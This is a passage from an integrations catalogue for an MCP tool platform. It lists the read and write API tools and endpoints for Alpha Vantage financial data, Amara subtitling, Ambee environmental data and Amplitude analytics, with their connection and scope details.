/api/v1/alphavantage/query/symbol_search. Scopes: api. alphavantage_get_query_function_t3 (read) — This API returns the Tilson moving average (T3) values. See also: mathematical reference . GET /api/v1/alphavantage/query/t3. Scopes: api. alphavantage_get_query_function_tema (read) — This API returns the triple exponential moving average (TEMA) values. See also: mathematical reference . GET /api/v1/alphavantage/query/tema. Scopes: api. alphavantage_get_query_function_time_series_daily (read) — This API returns raw (as-traded) daily time series (date, daily open, daily high, daily low, daily close, daily volume) of the global equity specified, covering 25+ years of historical data. The OHLCV data is sometimes called "candles" in finance literature. If you are also interested in split/dividend-adjusted data, please use the Daily Adjusted API , which covers adjusted close values and historical split and dividend events. GET /api/v1/alphavantage/query/time_series_daily. Scopes: api. alphavantage_get_query_function_time_series_daily_adjusted (read) — This API returns raw (as-traded) daily open/high/low/close/volume values, adjusted close values, and historical split/dividend events of the global equity specified, covering 25+ years of historical data. The OHLCV data is sometimes called "candles" in finance literature. [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/time_series_daily_adjusted. Scopes: api. alphavantage_get_query_function_time_series_intraday (read) — This API returns current and 25+ years of historical intraday OHLCV time series of the equity specified, covering pre-market and post-market hours where applicable (e.g., 4:00am to 8:00pm Eastern Time for the US market). You can query both raw (as-traded) and split/dividend-adjusted intraday data from this endpoint. The OHLCV data is sometimes called "candles" in finance literature. [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/time_series_intraday. Scopes: api. alphavantage_get_query_function_time_series_monthly (read) — This API returns monthly time series (last trading day of each month, monthly open, monthly high, monthly low, monthly close, monthly volume) of the global equity specified, covering 25+ years of historical data. GET /api/v1/alphavantage/query/time_series_monthly. Scopes: api. alphavantage_get_query_function_time_series_monthly_adjusted (read) — This API returns monthly adjusted time series (last trading day of each month, monthly open, monthly high, monthly low, monthly close, monthly adjusted close, monthly volume, monthly dividend) of the equity specified, covering 25+ years of historical data. GET /api/v1/alphavantage/query/time_series_monthly_adjusted. Scopes: api. alphavantage_get_query_function_time_series_weekly (read) — This API returns weekly time series (last trading day of each week, weekly open, weekly high, weekly low, weekly close, weekly volume) of the global equity specified, covering 25+ years of historical data. GET /api/v1/alphavantage/query/time_series_weekly. Scopes: api. alphavantage_get_query_function_time_series_weekly_adjusted (read) — This API returns weekly adjusted time series (last trading day of each week, weekly open, weekly high, weekly low, weekly close, weekly adjusted close, weekly volume, weekly dividend) of the global equity specified, covering 25+ years of historical data. GET /api/v1/alphavantage/query/time_series_weekly_adjusted. Scopes: api. alphavantage_get_query_function_top_gainers_losers (read) — This endpoint returns the top 20 gainers, losers, and the most active traded tickers in the US market. GET /api/v1/alphavantage/query/top_gainers_losers. Scopes: api. alphavantage_get_query_function_trange (read) — This API returns the true range (TRANGE) values. See also: mathematical reference GET /api/v1/alphavantage/query/trange. Scopes: api. alphavantage_get_query_function_treasury_yield (read) — This API returns the daily, weekly, and monthly US treasury yield of a given maturity timeline (e.g., 5 year, 30 year, etc). Source: Board of Governors of the Federal Reserve System (US), Market Yield on U.S. Treasury Securities at 3-month, 2-year, 5-year, 7-year, 10-year, and 30-year Constant Maturities, Quoted on an Investment Basis, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/treasury_yield. Scopes: api. alphavantage_get_query_function_trima (read) — This API returns the triangular moving average (TRIMA) values. See also: mathematical reference . GET /api/v1/alphavantage/query/trima. Scopes: api. alphavantage_get_query_function_trix (read) — This API returns the 1-day rate of change of a triple smooth exponential moving average (TRIX) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/trix. Scopes: api. alphavantage_get_query_function_ultosc (read) — This API returns the ultimate oscillator (ULTOSC) values. See also: mathematical reference . GET /api/v1/alphavantage/query/ultosc. Scopes: api. alphavantage_get_query_function_unemployment (read) — This API returns the monthly unemployment data of the United States. The unemployment rate represents the number of unemployed as a percentage of the labor force. Labor force data are restricted to people 16 years of age and older, who currently reside in 1 of the 50 states or the District of Columbia, who do not reside in institutions (e.g., penal and mental facilities, homes for the aged), and who are not on active duty in the Armed Forces ( source ). Source: U.S. Bureau of Labor Statistics, Unemployment Rate, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/unemployment. Scopes: api. alphavantage_get_query_function_vwap (read) — This API returns the volume weighted average price (VWAP) for intraday time series. See also: Investopedia article . [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/vwap. Scopes: api. alphavantage_get_query_function_wheat (read) — This API returns the global price of wheat in monthly, quarterly, and annual horizons. Source: International Monetary Fund ( IMF Terms of Use ), Global price of Wheat, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/wheat. Scopes: api. alphavantage_get_query_function_willr (read) — This API returns the Williams' %R (WILLR) values. See also: mathematical reference . GET /api/v1/alphavantage/query/willr. Scopes: api. alphavantage_get_query_function_wma (read) — This API returns the weighted moving average (WMA) values. See also: mathematical reference . GET /api/v1/alphavantage/query/wma. Scopes: api. alphavantage_get_query_function_wti (read) — This API returns the West Texas Intermediate (WTI) crude oil prices in daily, weekly, and monthly horizons. Source: U.S. Energy Information Administration, Crude Oil Prices: West Texas Intermediate (WTI) - Cushing, Oklahoma, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/wti. Scopes: api. ================================================================================ ## Amara URL: https://www.agenticfabriq.com/integrations/amara Section: Integrated Tools Amara — 53 MCP tools Provider key: amara. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. amara_delete_api_teams_team_slug_members_user_identifier (write, destructive) — Remove a user from a team via DELETE /api/teams/{team_slug}/members/{user_identifier}/. Removes a user's membership of a team. DELETE /api/v1/amara/api/teams/{team_slug}/members/{user_identifier}. Scopes: api. amara_delete_api_teams_team_slug_projects_project_slug (write, destructive) — Delete a project via DELETE /api/teams/{team_slug}/projects/{project_slug}/. Deletes a team project. DELETE /api/v1/amara/api/teams/{team_slug}/projects/{project_slug}. Scopes: api. amara_delete_api_teams_team_slug_subtitle_requests_job_id (write, destructive) — Delete a subtitle request via DELETE /api/teams/{team_slug}/subtitle-requests/{job_id}/. Deletes a subtitle request. Only admins of the request's SOURCE team can do this. DELETE /api/v1/amara/api/teams/{team_slug}/subtitle-requests/{job_id}. Scopes: api. amara_delete_api_videos_video_id (write, destructive) — Delete a video via DELETE /api/videos/{video_id}/. Deletes a video and answers 204 No Content. Only possible for a video that is part of a team you are an ADMIN of. DELETE /api/v1/amara/api/videos/{video_id}. Scopes: api. amara_delete_api_videos_video_id_languages_language_code_subtitles (write, destructive) — Delete subtitles via DELETE /api/videos/{video_id}/languages/{language_code}/subtitles/. Deletes ALL subtitle versions for a language and answers 204 No Content. Only allowed if the video is part of a team and the API user is an ADMIN of that team. DELETE /api/v1/amara/api/videos/{video_id}/languages/{language_code}/subtitles. Scopes: api. amara_delete_api_videos_video_id_urls_url_id (write, destructive) — Delete a video URL via DELETE /api/videos/{video_id}/urls/{url_id}/. Deletes one of a video's URLs and answers 204 No Content. Take the id from the URL listing's `resource_uri`. DELETE /api/v1/amara/api/videos/{video_id}/urls/{url_id}. Scopes: api. amara_get_api_activity (read) — Legacy activity list via GET /api/activity/. DEPRECATED by Amara: a site-wide activity list filtered by query parameter. Amara's own documentation says new code should use the video, team or user activity resources instead. Its `type` filter is an INTEGER code rather than the name the other three take, and `before`/`after` are unix timestamps rather than ISO-8601. If both `team` and `video` are given, `team` wins and `video` is ignored. GET /api/v1/amara/api/activity. Scopes: api. amara_get_api_languages (read) — List available languages via GET /api/languages/. Lists every language Amara supports, as a mapping of language code to English name. Requires the API key even though it is reference data (measured: 403 without one). GET /api/v1/amara/api/languages. Scopes: api. amara_get_api_teams (read) — List teams via GET /api/teams/. Lists teams, paginated. The response data is the same as the single-team endpoint's. GET /api/v1/amara/api/teams. Scopes: api. amara_get_api_teams_slug (read) — Get details on a team via GET /api/teams/{slug}/. Gets one team: its type, description, visibility, membership and video policies, and links to its members, projects, applications, languages and activity. GET /api/v1/amara/api/teams/{slug}. Scopes: api. amara_get_api_teams_slug_activity (read) — Team activity via GET /api/teams/{slug}/activity/. Lists activity on one team's videos and on the team itself (members joining and leaving, videos moved in or out, review and approval events). Paginated. GET /api/v1/amara/api/teams/{slug}/activity. Scopes: api. amara_get_api_teams_slug_members (read) — List team members via GET /api/teams/{slug}/members/. Lists a team's members with each one's role. Paginated. GET /api/v1/amara/api/teams/{slug}/members. Scopes: api. amara_get_api_teams_slug_members_user_identifier (read) — Get details on a single member via GET /api/teams/{slug}/members/{user_identifier}/. Gets one team membership: the user, their role, and for a `proj_lang_manager` the projects and languages they manage. GET /api/v1/amara/api/teams/{slug}/members/{user_identifier}. Scopes: api. amara_get_api_teams_team_slug_applications (read) — List applications to your team via GET /api/teams/{team_slug}/applications/. Lists the membership applications made to a team, with each applicant's note and status (Pending, Approved, Denied, Member Removed, Member Left). A team only has applications when its membership policy is by application. Paginated. GET /api/v1/amara/api/teams/{team_slug}/applications. Scopes: api. amara_get_api_teams_team_slug_applications_application_id (read) — Get details on an application via GET /api/teams/{team_slug}/applications/{application_id}/. Gets one membership application. The data is the same as the listing's. Amara documents this as `[application-uri]`; take the id from the listing's `resource_uri`. GET /api/v1/amara/api/teams/{team_slug}/applications/{application_id}. Scopes: api. amara_get_api_teams_team_slug_notifications (read) — List team notifications via GET /api/teams/{team_slug}/notifications/. Lists the HTTP callbacks Amara sent for a team: the URL posted to, the data posted, the response status and any error. Callbacks are an ENTERPRISE feature and are registered by emailing enterprise@amara.org, not through the API. Paginated. GET /api/v1/amara/api/teams/{team_slug}/notifications. Scopes: api. amara_get_api_teams_team_slug_notifications_number (read) — Get details on one notification via GET /api/teams/{team_slug}/notifications/{number}/. Gets one team HTTP callback by its number. The data is the same as the listing's. GET /api/v1/amara/api/teams/{team_slug}/notifications/{number}. Scopes: api. amara_get_api_teams_team_slug_projects (read) — List team projects via GET /api/teams/{team_slug}/projects/. Lists a team's projects, with each one's guidelines and whether tasks are enabled for it. Paginated. GET /api/v1/amara/api/teams/{team_slug}/projects. Scopes: api. amara_get_api_teams_team_slug_projects_project_slug (read) — Get details on a project via GET /api/teams/{team_slug}/projects/{project_slug}/. Gets one team project. The data is the same as the listing's. GET /api/v1/amara/api/teams/{team_slug}/projects/{project_slug}. Scopes: api. amara_get_api_teams_team_slug_subtitle_requests (read) — List subtitle requests via GET /api/teams/{team_slug}/subtitle-requests/. Lists a collaboration team's subtitle requests -- the records that track work on a video's subtitles through subtitling, review and approval. Which status fields come back depends on the team's relationship to each request (source, work or evaluation team). Paginated. GET /api/v1/amara/api/teams/{team_slug}/subtitle-requests. Scopes: api. amara_get_api_teams_team_slug_subtitle_requests_job_id (read) — Get details on a subtitle request via GET /api/teams/{team_slug}/subtitle-requests/{job_id}/. Gets one subtitle request. The data is the same as the listing's. GET /api/v1/amara/api/teams/{team_slug}/subtitle-requests/{job_id}. Scopes: api. amara_get_api_users_identifier (read) — Get user data via GET /api/users/{identifier}/. Gets a user's public profile: username, id, names, homepage, biography, avatar, the languages they speak and how many videos they follow. The identifier is a username or a user id prefixed with `id$`; `me` returns the account this API key belongs to. GET /api/v1/amara/api/users/{identifier}. Scopes: api. amara_get_api_users_identifier_activity (read) — User activity via GET /api/users/{identifier}/activity/. Lists the activity one user performed, across the videos and teams they work on. Paginated. GET /api/v1/amara/api/users/{identifier}/activity. Scopes: api. amara_get_api_videos (read) — List videos via GET /api/videos/. Lists videos. You probably want a query filter to limit the results: with no query parameter at all Amara lists the last 20 PUBLIC videos. `project` requires `team`, and passing `team=null` returns only videos in the public area. Results are paginated. GET /api/v1/amara/api/videos. Scopes: api. amara_get_api_videos_video_id (read) — View video details via GET /api/videos/{video_id}/. Gets one video by its Amara video id: title, description, duration, thumbnail, team, project, metadata, every URL it has, and the languages that have subtitles started. GET /api/v1/amara/api/videos/{video_id}. Scopes: api. amara_get_api_videos_video_id_activity (read) — Video activity via GET /api/videos/{video_id}/activity/. Lists activity on one video -- versions added, titles changed, URLs added or removed, comments -- newest first and paginated. Depending on the activity type each item may carry extra fields (`url`, `old_url`/`new_url`, `title`). GET /api/v1/amara/api/videos/{video_id}/activity. Scopes: api. amara_get_api_videos_video_id_languages (read) — List subtitle languages for a video via GET /api/videos/{video_id}/languages/. Lists a video's subtitle languages -- the containers that hold subtitles in one language -- with each one's completion state, soft limits and version history. A subtitle language is usually created when the first editing session starts. Paginated. GET /api/v1/amara/api/videos/{video_id}/languages. Scopes: api. amara_get_api_videos_video_id_languages_language_code (read) — Get details on a single subtitle language via GET /api/videos/{video_id}/languages/{language_code}/. Gets one subtitle language of a video. The response data is the same as the listing's, plus `num_versions`. GET /api/v1/amara/api/videos/{video_id}/languages/{language_code}. Scopes: api. amara_get_api_videos_video_id_languages_language_code_subtitles (read) — Fetch subtitles data via GET /api/videos/{video_id}/languages/{language_code}/subtitles/. Fetches a language's subtitles. Pass `format` (dfxp, sbv, srt, ssa or vtt) to get the raw subtitle file in that format instead of the JSON envelope -- and note that `format` OVERRIDES `sub_format`, which is ignored when it is given. `version_number` picks a specific version; without it the latest public version is returned. GET /api/v1/amara/api/videos/{video_id}/languages/{language_code}/subtitles. Scopes: api. amara_get_api_videos_video_id_languages_language_code_subtitles_actions (read) — List subtitle actions via GET /api/videos/{video_id}/languages/{language_code}/subtitles/actions/. Lists the actions currently available on a language's subtitles -- the buttons in the top-right of the subtitle editor (save, save a draft, approve, reject). Which ones exist depends on the video's team, whether there is a completed draft, and the caller's role. GET /api/v1/amara/api/videos/{video_id}/languages/{language_code}/subtitles/actions. Scopes: api. amara_get_api_videos_video_id_languages_language_code_subtitles_notes (read) — Fetch subtitle notes via GET /api/videos/{video_id}/languages/{language_code}/subtitles/notes/. Fetches the subtitle editor notes for a language: who wrote each one, when, and its text. GET /api/v1/amara/api/videos/{video_id}/languages/{language_code}/subtitles/notes. Scopes: api. amara_get_api_videos_video_id_urls (read) — List video URLs via GET /api/videos/{video_id}/urls/. Lists the URLs associated with a video. Every video has at least one, and several let the same subtitles be associated with the video on multiple providers (a YouTube version, a Vimeo version). Exactly one is flagged `primary`, which is what the embedder and the editor use. Paginated. GET /api/v1/amara/api/videos/{video_id}/urls. Scopes: api. amara_get_api_videos_video_id_urls_url_id (read) — Get details on a video URL via GET /api/videos/{video_id}/urls/{url_id}/. Gets one video URL. The fields are the same as the listing's. Take the id from the listing's `resource_uri` rather than constructing it. GET /api/v1/amara/api/videos/{video_id}/urls/{url_id}. Scopes: api. amara_post_api_message (write) — Post a message via POST /api/message/. Sends a message to a user or to a team and answers 201 Created. Send either `user` or `team`, never both. POST /api/v1/amara/api/message. Scopes: api. amara_post_api_teams (write) — Create a team via POST /api/teams/. Creates a team. `name`, `slug` and `type` are required. Amara RESTRICTS team creation to Amara partners, so a non-partner account is refused. POST /api/v1/amara/api/teams. Scopes: api. amara_post_api_teams_team_slug_members (write) — Add a member to a team via POST /api/teams/{team_slug}/members/. Adds a user to a team with a role. `languages_managed` and `projects_managed` apply only to the `proj_lang_manager` role. POST /api/v1/amara/api/teams/{team_slug}/members. Scopes: api. amara_post_api_teams_team_slug_projects (write) — Create a new project via POST /api/teams/{team_slug}/projects/. Creates a project on a team. `name` and `slug` are required. POST /api/v1/amara/api/teams/{team_slug}/projects. Scopes: api. amara_post_api_teams_team_slug_subtitle_requests (write) — Create a subtitle request via POST /api/teams/{team_slug}/subtitle-requests/. Creates a subtitle request for a video on a collaboration team. `video` and `language` are required, and the video must belong to the team in the path. You must be an ADMIN of the team. `team` and `evaluation_teams` are the multi-team form: they hand the work, or its evaluation, to other teams you are an admin of. POST /api/v1/amara/api/teams/{team_slug}/subtitle-requests. Scopes: api. amara_post_api_users (write) — Create a user via POST /api/users/. Creates an Amara user account and answers 201 Created. `username`, `email` and `password` are required. `create_login_token` adds an `auto_login_url` to the response that signs the new user in without a password and expires in 2 hours; `find_unique_username` makes Amara pick a free variant when the username is taken, so check the username that comes back. POST /api/v1/amara/api/users. Scopes: api. amara_post_api_videos (write) — Add a video via POST /api/videos/. Adds a video to Amara from its URL. Any URL Amara accepts works: a direct media file or a link to an accepted provider (YouTube, Vimeo). Answers 201 Created with the new video, whose `id` is the Amara video id every other video tool takes. POST /api/v1/amara/api/videos. Scopes: api. amara_post_api_videos_video_id_languages (write) — Create a subtitle language via POST /api/videos/{video_id}/languages/. Creates a subtitle language container on a video and answers 201 Created. Only `language_code` is required; the soft limits are editor warnings rather than hard constraints. POST /api/v1/amara/api/videos/{video_id}/languages. Scopes: api. amara_post_api_videos_video_id_languages_language_code_subtitles (write) — Add new subtitles via POST /api/videos/{video_id}/languages/{language_code}/subtitles/. Adds a new subtitle version to a language and answers 201 Created. Send the subtitles inline as `subtitles` or by URL as `subtitles_url`, in the format named by `sub_format` (dfxp by default). Prefer `action` over the deprecated `is_complete`: when `action` is given, `is_complete` is ignored. POST /api/v1/amara/api/videos/{video_id}/languages/{language_code}/subtitles. Scopes: api. amara_post_api_videos_video_id_languages_language_code_subtitles_actions (write) — Perform a subtitle action via POST /api/videos/{video_id}/languages/{language_code}/subtitles/actions/. Performs one of the available actions on a language's subtitles. Equivalent to opening the editor, changing nothing and clicking that button. An action can also be performed while adding subtitles, through the subtitles endpoint's `action` field. POST /api/v1/amara/api/videos/{video_id}/languages/{language_code}/subtitles/actions. Scopes: api. amara_post_api_videos_video_id_languages_language_code_subtitles_notes (write) — Add a subtitle note via POST /api/videos/{video_id}/languages/{language_code}/subtitles/notes/. Posts a subtitle editor note on a language and answers 201 Created. POST /api/v1/amara/api/videos/{video_id}/languages/{language_code}/subtitles/notes. Scopes: api. amara_put_api_teams_team_slug_applications_application_id (write) — Approve or deny an application via PUT /api/teams/{team_slug}/applications/{application_id}/. Decides a membership application: `Approved` admits the applicant to the team, `Denied` refuses them. Amara documents this as `[application-uri]`; take the id from the application listing's `resource_uri`. PUT /api/v1/amara/api/teams/{team_slug}/applications/{application_id}. Scopes: api. amara_put_api_teams_team_slug_languages_blacklisted (write) — Set a team's blacklisted languages via PUT /api/teams/{team_slug}/languages/blacklisted/. Replaces a team's blacklisted languages with the list sent as the body -- a JSON ARRAY of language codes, not an object. Subtitles are not allowed in a blacklisted language. (Documented at apidocs.amara.org#blacklisted-languages-resource; absent from the extracted ledger and added by this build after measuring the route mounted.) PUT /api/v1/amara/api/teams/{team_slug}/languages/blacklisted. Scopes: api. amara_put_api_teams_team_slug_languages_preferred (write) — Set a team's preferred languages via PUT /api/teams/{team_slug}/languages/preferred/. Replaces a team's preferred languages with the list sent as the body -- a JSON ARRAY of language codes, not an object. Preferred languages have tasks auto-created for each of the team's videos. (Documented at apidocs.amara.org#preferred-languages; absent from the extracted ledger and added by this build after measuring the route mounted.) PUT /api/v1/amara/api/teams/{team_slug}/languages/preferred. Scopes: api. amara_put_api_teams_team_slug_members_user_identifier (write) — Change a team member's role via PUT /api/teams/{team_slug}/members/{user_identifier}/. Changes an existing member's role on a team, and the projects and languages they manage. PUT /api/v1/amara/api/teams/{team_slug}/members/{user_identifier}. Scopes: api. amara_put_api_teams_team_slug_projects_project_slug (write) — Update a project via PUT /api/teams/{team_slug}/projects/{project_slug}/. Updates a team project's name, description or guidelines. The slug cannot be changed: it is not in the update's request data. PUT /api/v1/amara/api/teams/{team_slug}/projects/{project_slug}. Scopes: api. amara_put_api_teams_team_slug_subtitle_requests_job_id (write) — Update a subtitle request via PUT /api/teams/{team_slug}/subtitle-requests/{job_id}/. Updates a subtitle request: assign or unassign the subtitler, reviewer, approver or evaluator (send null to unassign), move the work stage, or change the due dates. Which fields are accepted depends on the team's relationship to the request; `team` and `evaluation_teams` are source-team fields and can only be changed before that work starts. `work_status` is the deprecated way to complete a request -- prefer `work_stage`. PUT /api/v1/amara/api/teams/{team_slug}/subtitle-requests/{job_id}. Scopes: api. amara_put_api_users_identifier (write) — Update your account via PUT /api/users/{identifier}/. Updates a user account's username, email or name. The identifier is a username or a user id prefixed with `id$`. PUT /api/v1/amara/api/users/{identifier}. Scopes: api. amara_put_api_videos_video_id_languages_language_code (write) — Update a subtitle language via PUT /api/videos/{video_id}/languages/{language_code}/. Updates a video's subtitle language. The request data is the same as when creating one EXCEPT that `language_code` is not allowed -- the language is identified by the path. (Documented at apidocs.amara.org#update-a-subtitle-language; it is absent from the extracted ledger and was added by this build after measuring the route mounted.) PUT /api/v1/amara/api/videos/{video_id}/languages/{language_code}. Scopes: api. amara_put_api_videos_video_id_urls_url_id (write) — Make a video URL primary via PUT /api/videos/{video_id}/urls/{url_id}/. Makes this URL the video's primary URL -- the one the embedder and the editor use. There is only one field, `primary`, and only `true` is meaningful. PUT /api/v1/amara/api/videos/{video_id}/urls/{url_id}. Scopes: api. ================================================================================ ## Ambee URL: https://www.agenticfabriq.com/integrations/ambee Section: Integrated Tools Ambee — 33 MCP tools Provider key: ambee. Scopes: api. Connect: BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. ambee_get_disasters_by_eventid (read) — One disaster event, addressed by Ambee's own event id. GET /api/v1/ambee/disasters/by-eventId. Scopes: api. ambee_get_disasters_history (read) — Natural-disaster events recorded worldwide from a point in time. GET /api/v1/ambee/disasters/history. Scopes: api. ambee_get_disasters_history_by_continent (read) — Natural-disaster events recorded across a continent over a time window. GET /api/v1/ambee/disasters/history/by-continent. Scopes: api. ambee_get_disasters_history_by_country_code (read) — Natural-disaster events recorded in a country over a time window. GET /api/v1/ambee/disasters/history/by-country-code. Scopes: api. ambee_get_disasters_history_by_lat_lng (read) — Natural-disaster events recorded near a latitude/longitude over a time window. GET /api/v1/ambee/disasters/history/by-lat-lng. Scopes: api. ambee_get_disasters_history_by_source_eventid (read) — The historical record for one disaster event, addressed by the identifier its upstream source gave it. GET /api/v1/ambee/disasters/history/by-source-eventId. Scopes: api. ambee_get_disasters_latest_by_continent (read) — Natural-disaster events currently reported across a continent, optionally narrowed to one country. GET /api/v1/ambee/disasters/latest/by-continent. Scopes: api. ambee_get_disasters_latest_by_country_code (read) — Natural-disaster events currently reported in a country. GET /api/v1/ambee/disasters/latest/by-country-code. Scopes: api. ambee_get_disasters_latest_by_lat_lng (read) — Natural-disaster events currently reported near a latitude/longitude. GET /api/v1/ambee/disasters/latest/by-lat-lng. Scopes: api. ambee_get_disasters_latest_by_source_eventid (read) — The current record for one disaster event, addressed by the identifier its upstream source gave it. GET /api/v1/ambee/disasters/latest/by-source-eventId. Scopes: api. ambee_get_elevation_latest_by_lat_lng (read) — Ground elevation at a latitude/longitude. GET /api/v1/ambee/elevation/latest/by-lat-lng. Scopes: api. ambee_get_elevation_latest_by_place (read) — Ground elevation at a named place. GET /api/v1/ambee/elevation/latest/by-place. Scopes: api. ambee_get_fire_latest_by_lat_lng (read) — Wildfires detected near a latitude/longitude. GET /api/v1/ambee/fire/latest/by-lat-lng. Scopes: api. ambee_get_fire_latest_by_place (read) — Wildfires detected near a named place. GET /api/v1/ambee/fire/latest/by-place. Scopes: api. ambee_get_fire_risk_by_lat_lng (read) — Wildfire risk outlook for a latitude/longitude. GET /api/v1/ambee/fire/risk/by-lat-lng. Scopes: api. ambee_get_fire_risk_by_place (read) — Wildfire risk outlook for a named place. GET /api/v1/ambee/fire/risk/by-place. Scopes: api. ambee_get_forecast_aq_by_lat_lng (read) — Forecast air quality for a latitude/longitude. GET /api/v1/ambee/forecast/aq/by-lat-lng. Scopes: api. ambee_get_geocode_by_place (read) — Resolve a free-text place name to coordinates. GET /api/v1/ambee/geocode/by-place. Scopes: api. ambee_get_geocode_reverse_by_lat_lng (read) — Resolve a latitude/longitude to a place. GET /api/v1/ambee/geocode/reverse/by-lat-lng. Scopes: api. ambee_get_history_by_lat_lng (read) — Historical air-quality readings for a latitude/longitude over a time window. GET /api/v1/ambee/history/by-lat-lng. Scopes: api. ambee_get_history_by_postal_code (read) — Historical air-quality readings for a postal code over a time window. GET /api/v1/ambee/history/by-postal-code. Scopes: api. ambee_get_ili_forecast_by_lat_lng (read) — Influenza-like-illness (ILI) forecast for a latitude/longitude. GET /api/v1/ambee/ili/forecast/by-lat-lng. Scopes: api. ambee_get_latest_by_city (read) — Latest air-quality reading for a named city. GET /api/v1/ambee/latest/by-city. Scopes: api. ambee_get_latest_by_country_code (read) — Latest air-quality readings for a country, by ISO country code. GET /api/v1/ambee/latest/by-country-code. Scopes: api. ambee_get_latest_by_lat_lng (read) — Latest air-quality reading -- AQI plus pollutant concentrations -- for a latitude/longitude. GET /api/v1/ambee/latest/by-lat-lng. Scopes: api. ambee_get_latest_by_postal_code (read) — Latest air-quality reading for a postal code within a country. GET /api/v1/ambee/latest/by-postal-code. Scopes: api. ambee_get_v3_pollen_forecast_120hrs (read) — Pollen forecast for the next 120 hours. Address the location EITHER with lat and lng OR with place. GET /api/v1/ambee/v3/pollen/forecast/120hrs. Scopes: api. ambee_get_v3_pollen_forecast_48hrs (read) — Pollen forecast for the next 48 hours. Address the location EITHER with lat and lng OR with place. GET /api/v1/ambee/v3/pollen/forecast/48hrs. Scopes: api. ambee_get_v3_pollen_history (read) — Historical pollen counts over a time window. Address the location EITHER with lat and lng OR with place. GET /api/v1/ambee/v3/pollen/history. Scopes: api. ambee_get_v3_pollen_latest (read) — Latest pollen counts and risk levels. Address the location EITHER with lat and lng OR with place -- Ambee's own examples show both and neither is required on its own. GET /api/v1/ambee/v3/pollen/latest. Scopes: api. ambee_get_weather_forecast_by_lat_lng (read) — Weather forecast for a latitude/longitude. GET /api/v1/ambee/weather/forecast/by-lat-lng. Scopes: api. ambee_get_weather_history_by_lat_lng (read) — Historical weather for a latitude/longitude over a time window. GET /api/v1/ambee/weather/history/by-lat-lng. Scopes: api. ambee_get_weather_latest_by_lat_lng (read) — Current weather conditions for a latitude/longitude. GET /api/v1/ambee/weather/latest/by-lat-lng. Scopes: api. ================================================================================ ## Amplitude URL: https://www.agenticfabriq.com/integrations/amplitude Section: Integrated Tools Amplitude — 48 MCP tools Provider key: amplitude. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. amplitude_delete_api_2_taxonomy_category_by_category_id (write, destructive) — Delete an event category by sending a DELETE request with the category ID. DELETE /api/v1/amplitude/api/2/taxonomy/category/{category_id}. Scopes: api. amplitude_delete_api_2_taxonomy_event_by_event_type (write, destructive) — Delete an event type by sending a DELETE request with the event type name as a path parameter. DELETE /api/v1/amplitude/api/2/taxonomy/event/{event_type}. Scopes: api. amplitude_delete_api_2_taxonomy_event_property_by_event_property (write, destructive) — Delete an event property by sending a DELETE request with the event property as a path parameter. DELETE /api/v1/amplitude/api/2/taxonomy/event-property/{event_property}. Scopes: api. amplitude_delete_api_2_taxonomy_user_property_by_user_property (write, destructive) — Deletes a single user property by name. DELETE /api/v1/amplitude/api/2/taxonomy/user-property/{user_property}. Scopes: api. amplitude_get_api_2_composition (read) — Get the distribution of users across values of a user property in the specified date range. GET /api/v1/amplitude/api/2/composition. Scopes: api. amplitude_get_api_2_events_list (read) — Get the list of events with the current week totals, uniques, and % DAU (daily active users). GET /api/v1/amplitude/api/2/events/list. Scopes: api. amplitude_get_api_2_events_segmentation (read) — Get metrics for an event with segmentation. GET /api/v1/amplitude/api/2/events/segmentation. Scopes: api. amplitude_get_api_2_export (read) — Export your project's event data. The response is a ZIP archive of JSON files, not JSON; it is returned base64-wrapped. 404 means there is no data in the range. Max 365 days per query, 4GB per response. GET /api/v1/amplitude/api/2/export. Scopes: api. amplitude_get_api_2_funnels (read) — Get funnel drop-off and conversion rates. GET /api/v1/amplitude/api/2/funnels. Scopes: api. amplitude_get_api_2_realtime (read) — Get active user numbers with 5-minute granularity for the last two days. GET /api/v1/amplitude/api/2/realtime. Scopes: api. amplitude_get_api_2_retention (read) — Get user retention for specific starting and 